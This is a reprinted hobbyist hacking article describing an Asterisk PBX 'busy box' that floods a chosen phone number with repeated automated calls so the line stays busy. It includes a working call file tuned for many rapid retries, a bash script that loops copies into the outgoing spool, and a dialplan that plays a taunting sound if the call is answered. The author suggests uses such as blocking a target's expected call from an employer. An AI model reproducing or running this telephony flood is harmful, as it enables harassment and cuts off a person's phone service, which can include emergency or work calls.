This article first appeared in the Spring 2014 edition of 2600: The Hacker Quarterly. Only formatting and a section title of “Dialplan Context” has been added.
After turning my Asterisk PBX server into an apartment gate opener, I had an idea to bring back the old school phreaker busy box. I got into the phreaker scene right as the old text files were becoming obsolete, so this trick here is my tribute to the old days. As always, have fun, but not at the expense of others.
Our goal here is to make the line of our target go busy so they cannot make or receive calls. Maybe we know the target is expecting a call from a prospective employer. Maybe it’s April 1st and we want to troll a few people. The list is potentially endless. We are going to need to write a bash script,a call file, and a context in the Asterisk dialplan that will handle the target IF the call goes through and is answered.
We will start by building the call file that I have named testcall.bak(more on file extensions later on when we address the bash script).
Call File
#The first line states the channel we want to use, the target number, and our SIP provider's outbound call function
Channel: SIP/7025811212@
vitel
-outbound #phone number changed to protect privacy
MaxRetries
: 50
RetryTime
: 2
#
MaxRetries
are high and
RetryTime
is low to prevent target from answering while keeping action on the line
Context: testing
Extension: s
Priority: 1
#The above three lines direct the call file to a precise point in the
dialplan
IF the target actually answers
We save the call file as testcall.bak instead of testcall.call because Asterisk deletes the call file upon completion of the call. We want repeated use of the call file, so we save it as a .bak and then handle multiple copies of the file with the following bash script.
bash script code
#!/bin/bash
counter=$1
while [ $counter -gt 0 ]
do
cp
testcall
.
bak
testcall
.call
chmod
777
testcall
.call
mv
testcall
.call /var/spool/asterisk/outgoing
counter=$(( $counter - 1 ))
done
Dialplan Context
[testing]
exten
=> s,1,Answer
exten
=> s,2,Playback(/var/lib/asterisk/sounds/
tt
-weasels)
exten
=> s,3,Hangup